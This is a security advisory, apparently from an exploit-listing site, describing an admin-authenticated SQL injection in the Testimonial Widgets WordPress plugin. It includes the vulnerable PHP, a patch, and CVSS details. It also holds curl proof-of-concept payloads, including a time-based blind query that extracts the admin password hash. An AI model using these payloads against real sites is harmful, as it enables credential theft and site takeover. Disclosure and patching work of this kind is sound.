Share
## https://sploitus.com/exploit?id=20339A1B-9C90-5D17-8F25-2CA188B77EB8
# CVE-2026-XXXXX
## Admin SQL Injection in Testimonial Widgets WordPress Plugin via Search Parameter
---
### Advisory Information
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Plugin |
| **Package/Product** | Testimonial Widgets |
| **Affected Versions** | All versions through SVN r3587815 |
| **Patched Versions** | None |
| **Severity** | **HIGH (CVSS 7.2)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| **Plugin Slug** | `testimonial-widgets` |
| **Active Installs** | 10,000+ |
| **Repository** | https://plugins.svn.wordpress.org/testimonial-widgets/ |
---
### Summary
The Testimonial Widgets plugin contains an authenticated SQL injection vulnerability in its admin panel. The `search` parameter from `$_GET` is sanitized only with `sanitize_text_field()` โ which does NOT prevent SQL injection โ and then concatenated directly into a SQL `LIKE` clause without using `$wpdb->prepare()`.
---
### Affected Component
| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Plugin |
| **Package** | testimonial-widgets |
| **Vendor** | Trustindex |
| **Affected Versions** | All (SVN r3587815) |
| **Patched Versions** | None |
| **File** | `testimonials-plugin.class.php`, line 4042 |
---
### Description
The admin widget listing page at `tabs/index-widget-header.php` accepts a `search` GET parameter, applies `sanitize_text_field()`, and passes it to `get_widgets()` which uses it directly in SQL:
**Vulnerable code:**
`tabs/index-widget-header.php` (lines 4โ8):
```php
$search = null;
if(isset($_GET['search'])) {
$search = sanitize_text_field($_GET['search']); // โ No SQL escaping
}
$widgets = $trustindex_testimonials_pm->get_widgets($order_by, $order, $search);
```
`testimonials-plugin.class.php` (lines 4038โ4042):
```php
public function get_widgets($order_by = "id", $order = "asc", $search = null) {
$dbtable = $this->get_widget_tablename();
$sql = "SELECT * FROM $dbtable";
if ($search) {
$sql .= " WHERE name LIKE '%{$search}%'"; // โ NO $wpdb->prepare()!
}
$results = $wpdb->get_results($sql); // โ SQL injection via $search
}
```
`sanitize_text_field()` only strips HTML tags and invalid UTF-8 โ it does NOT escape SQL special characters like `'`, `"`, or `--`.
---
### Proof of Concept
**Environment:** WordPress 6.x with Testimonial Widgets plugin activated, authenticated as admin.
**PoC โ Time-Based Blind SQL Injection:**
```bash
# Admin access required (PR:H)
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+SLEEP(5)--+"
# Response delay of 5+ seconds confirms SQL injection
```
**PoC โ Credential Extraction:**
```bash
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+IF(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1)='$',SLEEP(5),0)--+"
# Iterative character extraction of admin password hash
```
**What happens:**
1. Admin visits the testimonial widgets listing page with `search` parameter in URL
2. `sanitize_text_field()` strips HTML but passes SQL metacharacters through
3. Raw string is interpolated into `LIKE '%{$search}%'`
4. `$wpdb->get_results()` executes the injected SQL
5. Time-based blind extraction yields user password hashes
---
### Impact
| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract WordPress user password hashes via time-based blind injection |
| Integrity | **HIGH** | Crack admin hash โ full site compromise |
| Availability | **LOW** | Limited to data extraction via blind injection |
**Requires:** Admin authentication (PR:H). CVSS 7.2.
---
### Patches
Replace string interpolation with `$wpdb->prepare()`:
```diff
if ($search) {
- $sql .= " WHERE name LIKE '%{$search}%'";
+ $sql .= $wpdb->prepare(" WHERE name LIKE %s", '%' . $wpdb->esc_like($search) . '%');
}
```
Also apply `esc_sql()` before using in SQL, or use `$wpdb->prepare()` with `$wpdb->esc_like()` for LIKE clauses.
---
### References
| Type | URL |
|------|-----|
| WordPress.org | https://wordpress.org/plugins/testimonial-widgets/ |
| Vulnerable code | https://plugins.svn.wordpress.org/testimonial-widgets/trunk/testimonials-plugin.class.php |
| $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
---
### Verification
```bash
svn co https://plugins.svn.wordpress.org/testimonial-widgets/trunk/ tw-verify
cd tw-verify
grep -n "LIKE.*%{\$search}%" testimonials-plugin.class.php
# Output: 4042: $sql .= " WHERE name LIKE '%{$search}%'";
grep -n "sanitize_text_field.*search" tabs/index-widget-header.php
# Output: 7: $search = sanitize_text_field($_GET['search']);
```
**Verification status: โ
ALL CHECKS PASSED**
---
### Credits
| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |
---
### Timeline
| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered via automated scanner + manual verification |
| 2026-06-27 | Vendor notified via private disclosure |
| TBD + 90 days | Coordinated public disclosure |
---
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H โ 7.2 HIGH
AV:N โ Remote over HTTP
AC:L โ Simple GET request
PR:H โ Requires admin authentication
UI:N โ No user interaction
S:U โ Same security context
C:H โ Extract password hashes via subquery
I:H โ Crack hash โ admin โ modify site
A:H โ Admin โ delete all content
```